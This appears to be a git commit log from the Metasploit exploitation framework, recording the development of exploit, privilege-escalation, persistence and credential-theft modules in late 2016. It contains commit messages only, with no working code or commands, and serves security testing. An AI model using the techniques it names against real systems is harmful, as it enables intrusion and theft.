scriptjunkie 268a72f210 Land #7193 Office DLL hijack module 2016-11-08 23:15:27 -06:00
Brendan 4ea48a87cb Land #7546, Update Gemfile Gem Version 2016-11-08 18:15:57 -06:00
Brent Cook 5d5a4baaf7 back out rex-arch to avoid conflict with arch fixup PR 2016-11-08 17:42:42 -06:00
Brent Cook 129fa20bc1 update database schema 2016-11-08 17:40:32 -06:00
Brent Cook aeeefc46da update gems 2016-11-08 17:31:33 -06:00
Pedro Ribeiro 50f578ba79 Add full disclosure link 2016-11-08 22:15:19 +00:00
Yorick Koster 3c1f642c7b Moved PPSX to data/exploits folder 2016-11-08 16:04:46 +01:00
Pedro Ribeiro 95bd950133 Point to proper link on github 2016-11-07 17:59:29 +00:00
Pedro Ribeiro f268c28415 Create dlink_hnap_login_bof.rb 2016-11-07 17:45:37 +00:00
Pedro Ribeiro cc24bb3993 Merge pull request #35 from rapid7/master
aa
2016-11-07 17:44:47 +00:00
Chris Higgins 099a5984f9 Updated with style suggestions from msftidy and rubocop.
Also updated with commented from other contributors.
2016-11-07 10:18:52 -06:00
William Vu 4eb42a9171 Fix broken ternary in phoenix_command 2016-11-07 00:12:04 -06:00
Chris Higgins 689fc28d1b Added WinaXe 7.7 FTP client Server Ready buffer overflow 2016-11-06 23:35:16 -06:00
William Vu 6ba5e9ca8e Land #7537, action port fix for phoenix_command 2016-11-06 15:56:43 -06:00
Tijl Deneut 92964c1f95 Update phoenix_command.rb 2016-11-06 21:22:54 +01:00
Tijl Deneut 2c2729f0b2 Update phoenix_command.rb
Coded was messed up by MS Edge, don't use it :)
2016-11-06 21:21:20 +01:00
Tijl Deneut 1b4409f950 Update phoenix_command.rb
Style fix: replace "ractionport == nil ?" with "ractionport.nil?"

Is it OK? Did not find time to install and run rubocop ...
2016-11-06 21:15:31 +01:00
Tijl Deneut 4ea9214466 Fixed a small bug 2016-11-06 16:20:55 +01:00
朱雄宇 e9d85750c2 fix get_ipv4_addr(@interface) usage
get_ipv4_addr(@interface) returns a string not list, so get_ipv4_addr(@interface)[0] only got the first character of IP, which raises an error.
2016-11-06 19:04:57 +08:00
OJ d751c43f52 FINALLY fix the last of the tests
Sorry for the stupidity.
2016-11-05 06:20:43 +10:00
OJ 3bc6808278 Really fix the session test this time 2016-11-05 06:07:44 +10:00
OJ 5f5684841b Fix the DB/Session test 2016-11-05 05:59:31 +10:00
OJ abe46024de Fix tests after arch refactor 2016-11-05 05:15:57 +10:00
William Vu da356e7d62 Remove Compat hash to allow more payloads 2016-11-04 13:57:05 -05:00
William Vu f0c89ffb56 Refactor module and use FileDropper 2016-11-04 13:57:05 -05:00
William Vu 6d7cf81429 Update references 2016-11-04 13:57:05 -05:00
William Vu 009d6a45aa Update description 2016-11-04 13:57:05 -05:00
William Vu bf7936adf5 Add instance_eval and syscall targets 2016-11-04 13:57:05 -05:00
OJ 4bf966f695 Add module to bypassuac using eventvwr
This module was inspired by the work done by Matt Nelson and Matt
Graeber who came up with the method in the first place. This works
nicely on a fully patched Windows 10 at the time of writing.
2016-11-05 04:41:38 +10:00
dmohanty-r7 265567fa19 Land #7530 Improve atg_client to detect unsupported commands 2016-11-04 13:15:36 -05:00
Jon Hart 5b810fae41 Update atg_client to identify responses that indicate the command was not understood 2016-11-04 10:12:02 -07:00
Metasploit 2c39a14ada Bump version of framework to 4.12.41 2016-11-04 10:02:13 -07:00
OJ 50c2ed8509 Fix post mixin platform/session check 2016-11-05 02:41:52 +10:00
wchen-r7 ca5610ccde Land #7511, Update jenkins_script_console to support newer versions 2016-11-04 11:24:25 -05:00
OJ e5ea4a53d3 Fix typo in windows cred phish module 2016-11-04 13:26:10 +10:00
OJ b0970783ff Another interim commit moving towards universal handlers 2016-11-04 13:25:02 +10:00
William Vu 5ed030fcf6 Land #7529, nil.downcase fix for tomcat_mgr_deploy
Don't think it was ever needed, since the password is case-sensitive.

Fixed a minor merge conflict where PASSWORD became HttpPassword.
2016-11-03 15:39:46 -05:00
Jin Qian 2f8d3c3cf3 Remove the bug where downcase() is invoked on password which is optional and can be empty. 2016-11-03 15:23:19 -05:00
Brendan dae1f26313 Land #7521, Modernize TLS protocol configuration for SMTP / SQL Server 2016-11-03 12:56:50 -05:00
William Vu eca4b73aab Land #7499, check method for pkexec exploit 2016-11-03 10:59:06 -05:00
William Vu 1c746c0f93 Prefer CheckCode::Detected 2016-11-03 11:14:48 +01:00
William Vu 2cdff0f414 Fix check method 2016-11-03 11:14:48 +01:00
OJ 47ac122c15 Add LURI support to the reverse_http/s stagers 2016-11-03 14:51:07 +10:00
Brendan 5169341f62 Land #7522, Fix psh template to avoid 100% cpu spike on CTRL+C 2016-11-02 16:40:34 -05:00
OJ 09d9733a75 Interim commit while working on multi payloads 2016-11-03 06:44:39 +10:00
Brendan a7c8060af5 Land #7523, Fix template location for psh payload creation 2016-11-02 12:09:20 -05:00
OJ 7895ba810d Update payload cached size for the powershell payload 2016-11-03 02:50:13 +10:00
OJ cc8c1adc00 Add first pass of multi x86 http/s payload (not working yet) 2016-11-03 02:44:53 +10:00
William Vu a651985b4f Land #7498, Joomla account creation and privesc 2016-11-01 22:46:36 -05:00
William Vu f414db5d6d Clean up module 2016-11-01 22:46:28 -05:00
OJ 494b4e67bd Refactor http/s handler & payloads
This commit moves much of the platform-specific logic from the
reverse_http handler down into the payloads. This makes the handler
a bit more agnostic of what the payload is (which is a good thing).
There is more to do here though, and things can be improved.

Handling of datastore settings has been changed to make room for the
ability to override the datastore completely when generating the
payloads. If a datastore is given via the `opts` then this is used
instead otherwise it falls back to the settings specified in the usual
datatstore location.

Down the track, we'll have a payload that supports multiple stages, and
the datastore will be generated on the fly, along with the stage itself.
Without this work, there's no other nice way of getting datastore
settings to be contained per-stager.
2016-11-02 11:33:59 +10:00
h00die 1cb68c6f28 Land #7515, docs for enum_ie
Adds markdown docs for postwindows/gather/enum_ie. Thanks @daniel-wer

Fixes #7146
2016-11-01 20:11:32 -04:00
h00die a924981369 Landing #7516, X11 print fixes 2016-11-01 19:50:05 -04:00
Adam Cammack a79f860cb7 Add UUIDs to mettle stages 2016-11-01 16:58:21 -05:00
Brendan 05e2aad837 Land #7497, Add Kerberos domain user enumeration module 2016-11-01 14:34:47 -05:00
David Maloney 451686309b fixes #7519 psh payload generation
a few files references to the templates for pwoershell were
missed when transfering the templates over to the rex-powershell gem
2016-11-01 14:32:40 -05:00
OJ e4b4264d79 Fix psh template to avoid 100% cpu spike on CTRL+C
Fixes #7293
2016-11-02 05:19:52 +10:00
attackdebris 1b4cef10d1 Change creds_name to Kerberos 2016-11-01 17:59:51 +00:00
William Webb 31b593ac67 Land #7402, Add Linux local privilege escalation via overlayfs 2016-11-01 12:46:40 -05:00
Brian Patterson 51ad285521 Landing #7517 Nexpose API error fix 2016-11-01 12:02:35 -05:00
OJ 0fca4483c0 Correctly call generate_stage on native init 2016-11-02 00:52:25 +10:00
OJ 6ec76611c3 Fix arch typo in meterpreter_options for x64 2016-11-02 00:38:34 +10:00
Brent Cook 6577728fa9 enable auto-negotiation for TLS version with SQL Server 2016-11-01 05:45:27 -05:00
Brent Cook f8912486df fix typos 2016-11-01 05:43:03 -05:00
Brent Cook f08a7ac10b modernize default smtp_deliver TLS options 2016-11-01 05:42:05 -05:00
OJ 47ec362148 Small fixes for dbvis enum 2016-11-01 07:35:36 +10:00
Daniel Werner 1760cc9877 Add an IE7+ run to the post/windows/gather/enum_ie KB. 2016-10-31 20:30:22 +01:00
David Maloney 4285e4ce15 fix nexpose plugin to handle exception on scan
launching a nexpose scan from the plugin no longer results
in a stack trace, it instead displays the nexpose error

MS-289
2016-10-31 13:54:05 -05:00
David Maloney ac0984e8dd this fixes an issue with nexposeapi errors
on newer versions of the nexpose api the error
XML schema has been changed, this prevents the
exception from being generated correctly

MS-289
2016-10-31 13:42:15 -05:00
OJ 294b1e5ed7 Move session_type to base, and map shell arch to string 2016-11-01 03:02:23 +10:00
William Vu 5c065459ae print_{good,error} more specifically in open_x11 2016-10-31 11:29:00 -05:00
OJ 44ac3f8781 Use ARCH constant in mainframe_shell 2016-11-01 02:24:44 +10:00
OJ ffb53b7ca3 Tidy arch check in meterpreter inject 2016-11-01 01:51:12 +10:00
OJ 557424d2ec Small tidy of the multiport_egress_traffic module 2016-11-01 01:46:58 +10:00
OJ ec8536f7e9 Fix firefox module to use symbols where appopriate 2016-11-01 01:43:25 +10:00
OJ b9bbb5e857 Replace regex use with direct string checks in dbvis module 2016-11-01 01:35:01 +10:00
OJ 3c57ff5c59 Avoid internal constants for bypassuac file path generation 2016-11-01 01:32:24 +10:00
OJ 6ce7352c45 Revert silly change in applocker bypass 2016-11-01 01:30:54 +10:00
OJ 3c56f1e1f7 Remove commented x64 arch from sock_sendpage 2016-11-01 01:29:11 +10:00
OJ ddd2d5e43f Remove junk spaces from EXE exploit module 2016-11-01 01:28:21 +10:00
OJ eeff24d2ef Change BSD regex as per Brent's suggestion 2016-11-01 01:26:45 +10:00
Daniel Werner a487d9e92a Add KB for post/windows/gather/enum_ie. 2016-10-31 16:19:06 +01:00
Jan Mitchell 97b7819a08 Adding documentation for lsatransnames_heap 2016-10-31 14:47:19 +00:00
Pearce Barry 6b264ce6c4 Land #7508, Fix typo PAYLOAD_OVERWRITE vs PAYLOAD_OVERRIDE
Fixes #7504.
2016-10-30 17:58:43 -05:00
Pearce Barry ea5e61536c Land #7512, fix check method in seagate expolit 2016-10-30 17:34:08 -05:00
Alex Flores 45d6012f2d fix check method 2016-10-30 14:57:42 -04:00
Pearce Barry 3d7a424883 Land #7510, Add documentation for jenkins_script_console 2016-10-29 23:57:06 -05:00
Spencer McIntyre f9041bc89a Address pull request feedback for module docs 2016-10-29 18:50:16 -04:00
Spencer McIntyre ccce361768 Remove accidentally included debug output 2016-10-29 18:46:51 -04:00
Spencer McIntyre fa7cbf2c5a Fix the jenkins exploit module for new versions 2016-10-29 18:19:14 -04:00
Spencer McIntyre 89376102db Add documentation for jenkins_script_console 2016-10-29 16:50:47 -04:00
Konrads Smelkovs f754adad0c Fix typo PAYLOAD_OVERWRITE vs PAYLOAD_OVERRIDE 2016-10-29 11:20:32 +01:00
OJ e4edbb16fe Fix encoded_payload_spec 2016-10-29 15:29:23 +10:00
OJ 640827c24b Final pass of regex -> string checks 2016-10-29 14:59:05 +10:00
OJ 0730613c67 Add comment to hilight need to support ARCH_CMD in sess check 2016-10-29 14:29:05 +10:00
OJ 7773d90da4 Update railgun to use arch to check for 64 bit 2016-10-29 14:26:06 +10:00
OJ 8605992cdf Remove superfluous session check in the post mixin 2016-10-29 14:19:27 +10:00
OJ e5d3feebea Final regex fix for jobs arch check 2016-10-29 14:10:01 +10:00
OJ 57eabda5dc Merge upstream/master 2016-10-29 13:54:31 +10:00
OJ 8b97183924 Update UUID to match detected platform, fail exploit on invalid session 2016-10-29 13:45:28 +10:00
OJ 0737d7ca12 Tidy code, remove regex and use comparison for platform checks 2016-10-29 13:41:20 +10:00
OJ 9e3960f334 Update session listing to show type or platform 2016-10-29 12:46:11 +10:00
OJ 6364e93ece Update session types to have base_platform and base_arch 2016-10-29 12:45:37 +10:00
Jon Hart 8173e87756 Add references 2016-10-28 16:12:46 -07:00
Pearce Barry 0b23365881 Minor addition to the telpho10_credential_dump docs. 2016-10-28 17:52:49 -05:00
Pearce Barry 5c12d55c84 Land #7484, Add Telpho10 Credentials Dump Exploit 2016-10-28 17:41:46 -05:00
Pearce Barry 991a3fe448 Markdown docs added. 2016-10-28 17:38:00 -05:00
Jon Hart 0d02997dd4 Merge pull request #8 from open-security/feature/at-persistence
set payload file executable bit
2016-10-28 15:33:12 -07:00
OJ bf7e7ae4be Fix silly mistake with resetting arch in sysinfo 2016-10-29 08:32:32 +10:00
Jon Hart 74baffd463 Rename doc 2016-10-28 15:31:12 -07:00
Jon Hart 96c204d1ea Add aws_keys docs; correct description 2016-10-28 15:27:47 -07:00
OJ 751742face Fix typo in arch check for inject script 2016-10-29 08:25:23 +10:00
OJ e936a6d7ce Update Gemfile to include rex-arch update 2016-10-29 08:19:29 +10:00
OJ 1ca2fe1398 More platform/arch/session fixes 2016-10-29 08:11:20 +10:00
OJ a7485c4bba Use constants for base_arch 2016-10-29 08:10:44 +10:00
dmohanty-r7 d918e25bde Land #7439, Add Ghostscript support to ImageMagick Exploit 2016-10-28 17:07:13 -05:00
dmohanty-r7 d6785a437e Add module docs for imagemagick_delegate 2016-10-28 17:02:09 -05:00
Jon Hart 7dea613507 Initial commit of module for snagging AWS key material from shell/meterpreter sessions 2016-10-28 14:48:55 -07:00
Jan Rude 971c8207bd Update telpho10_credential_dump.rb
Code improvements suggested by @h00die
2016-10-28 16:45:14 -05:00
Jan Rude c9574a4707 Update telpho10_credential_dump.rb
output correction
2016-10-28 16:44:52 -05:00
Jan Rude 05ee51a832 Update telpho10_credential_dump.rb
do not write to stdout
2016-10-28 16:44:40 -05:00
Jan Rude fb534a9e85 add telpho10_exploit
telpho10 credential dump exploit
2016-10-28 16:44:27 -05:00
Jeff 5eca6866f2 Fix failing versions, specify version explicitly 2016-10-28 16:24:06 -05:00
OJ d201c5bccc Force x86_64 to change over to x64 in sysinfo, tidy arch checks 2016-10-29 06:49:35 +10:00
OJ 052045c101 Update rex-arch gem to 0.1.2 2016-10-29 06:40:18 +10:00
Quentin Kaiser c7b775ac1c Fix detection following @bwatters-r7 recommendations. Remove safesync exploit that shouldn't be here. 2016-10-28 18:03:56 +00:00
Metasploit ffc62964d6 Bump version of framework to 4.12.40 2016-10-28 10:02:36 -07:00
Filipe Reis 88a2a770a3 Update to have checks in place
Add: added checks to the code
2016-10-28 11:24:39 +01:00
attackdebris 5cca243037 Merge pull request #1 from bwatters-r7/land-7497
Added user logging into the db and humored rubocop
2016-10-28 11:00:05 +01:00
Chris Higgins c153686465 Added Disk Pulse Enterprise Login Buffer Overflow 2016-10-27 21:49:17 -05:00
wchen-r7 57babf75dd Land #7501, Bassmaster batch Arbitrary JavaScript Injection Exploit 2016-10-27 19:12:53 -05:00
OJ 1d617ae389 Implement first pass of architecture/platform refactor 2016-10-28 07:16:05 +10:00
Brendan 9eaaba1dea Added user logging into the db and humored rubocop 2016-10-27 15:50:17 -05:00
mr_me 16b7c77851 satisfying travis 2016-10-27 13:37:04 -05:00
mr_me a8ab7b09b0 Added Bassmaster batch Arbitrary JavaScript Injection Remote Code Execution Vulnerability (CVE-2014-720) 2016-10-27 13:22:39 -05:00
attackdebris c2af2ab214 Move kerberos_enumusers module to aux/gather & add documentation 2016-10-27 19:11:22 +01:00
Filipe Reis 88beea0c56 updating code
Fix: changing to seggested fixes
2016-10-27 14:30:59 +01:00
Julien (jvoisin) Voisin 23ab4f1fc1 Remove one last tab 2016-10-27 12:32:40 +02:00
Julien (jvoisin) Voisin d9f07183bd Please h00die ;) 2016-10-27 12:18:33 +02:00
Julien (jvoisin) Voisin 2ac54f5028 Add a check for the linux pkexec module 2016-10-27 10:28:13 +02:00
Filipe Reis 2851faefe8 Update module info
Fix: removed info that didn't belong
2016-10-27 03:11:38 +01:00
Filipe Reis e522d7f5a4 Fixing issues regarding travis checks
Fix: EOL spaces;
2016-10-27 02:50:20 +01:00
Filipe Reis 8ad1c66bd3 Code update and file rename
Fix: clean up and improving code using all the comments.
Fix: rename file to a more meaning and more easy to search
2016-10-27 02:46:40 +01:00
Filipe Reis 0af47ef411 Fixing warning from travis checks
Fixing: Auxiliary modules have no 'Rank': Rank = ExcellentRanking
Fixing: Spaces at EOL
2016-10-26 23:29:17 +01:00
Filipe Reis 5a127886bb Fixing issues regarding travis checks
Fixing unicode issues;
Fixing CVE format;
Fixing EOL spaces;
Fixing the way cookies are read.
2016-10-26 23:24:09 +01:00
Filipe Reis 94b05d7943 Joomla Account Creation and Privilege Escalation
This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 through 3.6.3.
2016-10-26 23:11:38 +01:00
William Webb 9672759be8 Land #7462, Add support for Unicode domains 2016-10-26 16:47:09 -05:00
OJ ca377cadd7 Move the binary suffix stuff to a better location 2016-10-27 07:43:27 +10:00
wchen-r7 33e0d1fa6d Land #7493, remove unneeded badchars from payload specification 2016-10-26 15:23:44 -05:00
attackdebris 18c3d42aca This commit adds the kerberos_enumusers module 2016-10-26 20:56:41 +01:00
Brent Cook 1a1841d441 rebuilt metasploit-payloads without debug info 2016-10-26 05:43:36 -05:00
Brent Cook ed35bf5011 remove unneeded badchars from payload specification 2016-10-26 04:47:33 -05:00
nixawk 98afd0f18d add censys_search doc 2016-10-25 22:40:25 -05:00
Brian Patterson 4cafe5adab Land #7489 Generic module for detecting UDP amplification vulnerabilities 2016-10-25 16:00:29 -05:00
Jon Hart a61e6bc11b Correct formatting. really. 2016-10-25 15:58:46 -05:00
Jon Hart 252b604999 Correct formatting 2016-10-25 15:58:46 -05:00
Jon Hart b7dba76089 Add module documentation for udp_amplifcation 2016-10-25 15:58:46 -05:00
Jon Hart 342bfd628a Dont' set default PORTS or PROBE options. Require user configuration. 2016-10-25 15:58:46 -05:00
Jon Hart 2a18ea0e33 Initial commit of generic module for detecting UDP amplification vulnerabilities 2016-10-25 15:58:46 -05:00
Louis Sato f7f28a0833 Land #7480, deprecation msg for udp_probe 2016-10-25 15:52:56 -05:00
Metasploit 6a23168800 Bump version of framework to 4.12.39 2016-10-25 12:22:52 -07:00
Jon Hart e84dc3c0e7 Merge branch 'master' into feature/udp_amplification 2016-10-25 12:18:58 -07:00
Sonny Gonzalez 5ce886cf5c Land #7490, xml importer fingerprinting fixed 2016-10-25 14:13:15 -05:00
Brian Patterson c83474ea5c Land #7488 Allows DRDoS mixin to handle empty responses 2016-10-25 13:53:39 -05:00
David Maloney fd7b14ed48 Land #6711, persistence_exe module
lands drforbin's pr for the new persistence module
2016-10-25 13:25:38 -05:00
Louis Sato 56d5c49d4d host was no associated with the workspace
* searching mdm host by wspace id instead
2016-10-25 12:05:06 -05:00
David Maloney 9c132ebb18 Land #6711, persistence exe module
lands drforbin's persistence_exe post module which registers
an exe on the machine as a service for persistence
2016-10-25 11:25:18 -05:00
David Maloney 6a31dad678 clean up some style guide issues with rubocop
applied rubocop to the module for some
tidying up
2016-10-25 11:24:32 -05:00
Louis Sato 1378e2e61a preserve hosts should still fingerprint new hosts 2016-10-25 09:58:30 -05:00
drforbin 94979f4541 changed formatting for else statements 2016-10-25 09:42:00 -05:00
drforbin 6f3c20069b fixed formatting errors for travis 2016-10-25 09:42:00 -05:00
drforbin 0ec153eb9c changed formatting, changed to OptPath. cleaned unneeded code 2016-10-25 09:41:59 -05:00
drforbin 3b9a441382 cleaned up write_target, and variables REXE 2016-10-25 09:41:59 -05:00
drforbin c3ada74728 changed formatting to comform with travis 2016-10-25 09:41:59 -05:00
drforbin 0395d57512 formatting changes and design changes. tested 2016-10-25 09:41:58 -05:00
drforbin 337e3b6cce added persistence_exe.rb to windows post modules 2016-10-25 09:41:58 -05:00
Louis Sato 744724c083 conditionalize fingerprinting
* fix bug where host not preserved
2016-10-24 18:45:48 -05:00
Jon Hart 1213e9f187 Correct formatting. really. 2016-10-24 15:52:43 -07:00
Jon Hart bc7fea9ced Correct formatting 2016-10-24 15:46:28 -07:00
Jon Hart bb7670189b Add module documentation for udp_amplifcation 2016-10-24 15:26:03 -07:00
Jon Hart aad9246a53 Dont' set default PORTS or PROBE options. Require user configuration. 2016-10-24 15:03:21 -07:00
Jon Hart 9dfa654558 Initial commit of generic module for detecting UDP amplification vulnerabilities 2016-10-24 14:43:57 -07:00
Metasploit e29567f390 Bump version of framework to 4.12.38 2016-10-24 14:25:47 -07:00
Jon Hart 12508f7140 Fix DRDoS mixin to handle empty responses 2016-10-24 14:21:28 -07:00
David Maloney c00df4dd71 Land #6969, Regsrv cmd delivery server module
This Lands kn0's PR for the Regsrv32 command delivery server
2016-10-24 11:46:59 -05:00
Adam Cammack 39b889ea29 Land #7459, Delay fingerprinting during import 2016-10-24 10:47:25 -05:00
William Vu ba3830c100 Land #7485, lib/rex/post/gen.pl removal 2016-10-24 09:56:41 -05:00
Metasploit bf59ba526a Bump version of framework to 4.12.37 2016-10-24 07:35:41 -07:00
nixawk 66a1b57c17 delete lib/rex/post/gen.pl 2016-10-24 08:53:45 -05:00
Brent Cook bd326e5923 Land #7481, fix #7458 and rapid7/metasploit_data_models#163 2016-10-23 20:52:15 -05:00
Brent Cook 93ee22ac64 update schema 2016-10-23 16:56:48 -05:00
Brent Cook 672e275877 update gems 2016-10-23 16:43:02 -05:00
Jon Hart 7f65b28483 Deprecate udp_probe in favor of udp_sweep 2016-10-23 13:06:58 -07:00
Vex Woo b5ba862e98 parse ipv4 / website info 2016-10-23 10:53:43 -05:00
Vex Woo 50284cf01b parse domain/ip info from certificate 2016-10-23 10:33:17 -05:00
Tim ce1f3e6b9e Land #7451, copy original signing certificate when backdooring APK 2016-10-22 18:04:22 +08:00
nixawk 6a8da3223e set payload file executable bit 2016-10-22 03:30:10 -05:00
nixawk c79c102998 remove unuse variable @uri 2016-10-21 23:59:09 -05:00
nixawk 893a6ef82e add censys search module 2016-10-21 23:45:44 -05:00
Pearce Barry 51ffea3e03 Land #7470, fixes bad file refs for cmdstagers 2016-10-21 14:01:04 -05:00
David Maloney e442f5f76b Land #7460, zoomeye search module
typo in previous land commit
2016-10-21 13:48:28 -05:00
David Maloney 264fe7b8f8 Land #7460, zoomeye search module 2016-10-21 13:47:46 -05:00
Pearce Barry 9a0307b0c0 Land #7369, Panda Antivirus Priv Esc 2016-10-21 13:20:41 -05:00
David Maloney 6b77f509ba fixes bad file refs for cmdstagers
when moving to the rex-exploitation gem some of the
file references were missed, partially due to silly differences
between how each file was referenced

Fixes #7466
2016-10-21 12:31:18 -05:00
David Maloney de87fccf85 Land #7469, OJ's php preamble fix
this is OJ's fix for the bind_php payload
preamble that causes it to be missing the php
tags
2016-10-21 12:05:39 -05:00
Metasploit 8e0d866976 Bump version of framework to 4.12.36 2016-10-21 10:02:09 -07:00
David Maloney 05ffa0074c Land 37460, zoomeye search module
Lands nixawk's zoomeye search aux module
2016-10-21 10:25:58 -05:00
nixawk ada571bfdf Fix login - check condition 2016-10-20 22:52:24 -05:00
nixawk 344b688ae5 remove ZoomEye_APIKEY, add (USERNAME / PASSWORD) 2016-10-20 22:48:01 -05:00
h00die 40054a6c01 docs table 2016-10-20 20:54:35 -04:00
h00die 12e4fe1c5c updated dlls and docs 2016-10-20 20:45:50 -04:00
dana-at-cp b8e30a241e Copy original cert data into new signing cert created for APK injection 2016-10-20 08:43:45 -07:00
nixawk 097a273abb fix dork_search 2016-10-19 20:54:31 -05:00
nixawk 72b2ba2e88 replace [Net::HTTP] with [rex/proto/http] 2016-10-19 20:40:45 -05:00
nixawk a77f415893 remove unuseful condition 2016-10-19 20:05:12 -05:00
nixawk 9f3f0fd358 make [matches_records] simple 2016-10-19 19:59:02 -05:00
Brendan b5a41c3011 Convert ANSI data to UTF-8 char by char because MS might
put an invalid character in the WORKGROUP name during SMB
handshake
2016-10-19 17:42:26 -05:00
Brendan 1644a1e20b Change how we populate workgroup/domain data 2016-10-19 17:24:26 -05:00
Brendan 95294b00d1 Whitespace 2016-10-19 17:13:07 -05:00
Brendan 078496437f Make sure that the ntlm blob data is pasrsed into UTF-8 2016-10-19 17:11:04 -05:00
Pearce Barry 85c26c64e2 Bump rex-exploitation gem version, see #7452. 2016-10-19 08:04:10 -05:00
nixawk fcc22d9027 add module references info 2016-10-19 02:23:11 -05:00
William Vu 2668a4a1cd Fix #6993, tnspoison_checker cleanup 2016-10-19 00:53:33 -05:00
nixawk 3630388e91 zoomeye search 2016-10-18 22:52:23 -05:00
Louis Sato f18cbd655e delay fingerprinting of host
MS-2073

 * imports are slow mainly caused by fingerprinting after every service creation
 * now only fingerprints after all the services are created for imports
2016-10-18 17:42:48 -05:00
Pearce Barry 43fd0a8813 Land #7436, Put Rex-exploitation Gem Back 2016-10-18 16:03:54 -05:00
wolfthefallen 684feb6b50 moved STAGE0 and STAGE1 into datastore 2016-10-18 11:47:38 -04:00
OJ 786600bd09 Remove the unused binary_suffix var 2016-10-18 16:15:00 +10:00
William Webb 260257a144 Land #7446, Update Capcom exploit module to support Windows 10 2016-10-17 14:57:21 -05:00
wolfthefallen e806466fe3 correct carriage return and link issue 2016-10-17 10:31:39 -04:00
wolfthefallen 7e68f7d2a4 EmpirePowerShell Arbitrary File Upload (Skywalker) 2016-10-17 10:03:07 -04:00
Tim 67d07a715c add android_hide_app_icon 2016-10-17 19:02:48 +08:00
Brent Cook 6fb418d4d2 Land #7447, unify Android meterpreter method names, add missing stageless class 2016-10-17 04:48:43 -05:00
Brent Cook c5faffddbd bump gems 2016-10-17 04:48:12 -05:00
William Vu ebf52759cc Land #7449, unsuitable language fix 2016-10-16 03:23:05 -05:00
Justin Steven 2ae62cfce1 Fix typo: Use a better adjective 2016-10-16 18:01:42 +10:00
h00die 0d1fe20ae5 revamped 2016-10-15 20:57:31 -04:00
dana-at-cp d7ac8eba45 Create new signing certificate with dname value copied from original certificate. 2016-10-15 14:05:53 -07:00
Tim 5fad8d8efa prefix android commands with android_ 2016-10-15 23:57:20 +08:00
OJ 25238f1a26 Update capcom exploit module to support Windows 10 2016-10-15 11:56:48 +10:00
Metasploit 74340e9eb7 Bump version of framework to 4.12.35 2016-10-14 15:13:45 -07:00
William Webb 8e2ff8df80 Land #7433, Add IP Addresses to HTTP PUT/DELETE scanner output 2016-10-14 13:27:17 -05:00
William Webb 5e7d546fa2 Land #7094, OpenNMS Java Object Deserialization RCE Module 2016-10-14 13:19:11 -05:00
Brent Cook dd1e8ff964 fix a few typos in KB 2016-10-14 13:01:51 -05:00
Brent Cook cfddc734a8 Land #7286, WiFi pineapple preconfig command injection module 2016-10-14 12:57:42 -05:00
Brent Cook e05a325786 Land #7285, WiFi pineapple command injection via authentication bypass 2016-10-14 12:57:05 -05:00
Brent Cook 1c9914acb1 add module doc 2016-10-14 12:46:19 -05:00
Brent Cook d36940260f add module doc 2016-10-14 12:44:17 -05:00
Thao Doan 9111d8598c Land #7440, Add docs for Chrome User Data Enum 2016-10-14 10:39:53 -07:00
Brent Cook 5736b2c821 add missing require 2016-10-14 12:15:45 -05:00
Metasploit b3666ff7ab Bump version of framework to 4.12.34 2016-10-14 10:04:05 -07:00
William Vu 1da40b5deb Change HAVE_POPEN to USE_POPEN
PS target doesn't support it, so the option should be renamed.
2016-10-14 11:58:39 -05:00
Brent Cook 5ab3401f98 Land #7430, Refactor Android payload configuration into a byte array, add evasions 2016-10-14 10:01:23 -05:00
Brent Cook 741c4b8916 updated android payload gem, removed unused extension jar 2016-10-14 09:59:06 -05:00
Brent Cook 4c248ebe9e Merge branch 'master' into land-7430- 2016-10-14 09:48:33 -05:00
Brent Cook a1d63a629a update gems 2016-10-14 09:47:02 -05:00
Brent Cook a2fe934c15 Land #7435, NTLM Util change to support Unicode hostnames 2016-10-14 09:46:10 -05:00
Brent Cook 933dc1df84 updated gems 2016-10-14 09:17:27 -05:00
Brent Cook acec45c8b3 Land #7409, CVE-2013-5093 Graphite Pickle Handling - Add Version Check 2016-10-14 08:54:57 -05:00
Brent Cook 9fbe1ddd9d Land #7384, CVE-2016-6415 - Cisco IKE Information Disclosure 2016-10-14 08:41:34 -05:00
OJ 70011922a3 Remove binary suffixes for payloads that don't exist 2016-10-14 14:08:13 +10:00
h00die 12493d5c06 moved c code to external sources 2016-10-13 20:37:03 -04:00
OJ 022830634b Rejig platform to use windows instead of win32/win64 2016-10-14 10:10:04 +10:00
William Vu 5b46e72aea Update module logic 2016-10-13 17:40:16 -05:00
William Vu 9b15899d91 Add PS template 2016-10-13 17:40:15 -05:00
William Vu 6f4f2bfa5f Add PS target and remove MIFF 2016-10-13 17:39:55 -05:00
William Vu e70ba8110d Update references 2016-10-13 17:35:55 -05:00
William Vu 88bb2e2295 Update description 2016-10-13 17:35:30 -05:00
Daniel Werner 8adcb96435 Add KB for post/windows/gather/enum_chrome. 2016-10-13 23:23:21 +02:00
wchen-r7 9e97febcd1 Land #7429, Ruby on Rails Dynamic Render File Upload Remote Code Exec 2016-10-13 11:45:46 -05:00
nixawk b74539be44 check if isakmp payload is same to IKE Leak data 2016-10-13 04:20:23 -05:00
Brent Cook 2014b2d2ab Land #7432, Fix erroneous cred reporting in SonicWALL exploit 2016-10-12 22:39:15 -05:00
Pedro Ribeiro 1cce3fadd1 Merge pull request #34 from rapid7/master
aaa
2016-10-12 23:16:24 +01:00
Pearce Barry a2a1d6c28a Land #7411, Add an HTA server module using Powershell 2016-10-12 13:05:40 -05:00
nixawk 884a8b29e7 add doc for auxiliary/scanner/ike/cisco_ike_benigncertain.rb 2016-10-12 03:33:22 -05:00
nixawk 7536d1d94a print leak data 2016-10-12 02:42:50 -05:00
nixawk 70d4833654 Fix report_vuln 2016-10-12 02:16:00 -05:00
Brent Cook 1415c34724 Land #7423, add localtime support for mettle, fix bad mettle gem 2016-10-11 21:12:30 -05:00
Brent Cook aa748ecc83 update to working mettle gem 0.0.8 2016-10-11 21:12:00 -05:00
William Vu e78d3d6bf0 Fix erroneous cred reporting in SonicWALL exploit
A session ID will be returned in the parsed JSON if the login succeeded.

Bad user:

{"noldapnouser"=>1, "loginfailed"=>1}

Bad password:

{"loginfailed"=>1}

Good user/password:

{"userid"=>"1", "sessionid"=>"4WJ9cNg1TkBrwjzX"}
2016-10-11 19:25:52 -05:00
David Maloney 7894d5b2c1 Revert "Revert "use the new rex-exploitation gem""
This reverts commit f3166070ba.
2016-10-11 17:40:43 -05:00
David Maloney 2493ff1886 Revert "Revert "remove leftover cruft""
This reverts commit 74e0256448.
2016-10-11 17:40:18 -05:00
David Maloney 13de5f9b1e fix missing require in rex
this missing required caused an unitialized
constant in browser_autopwn2 because it required
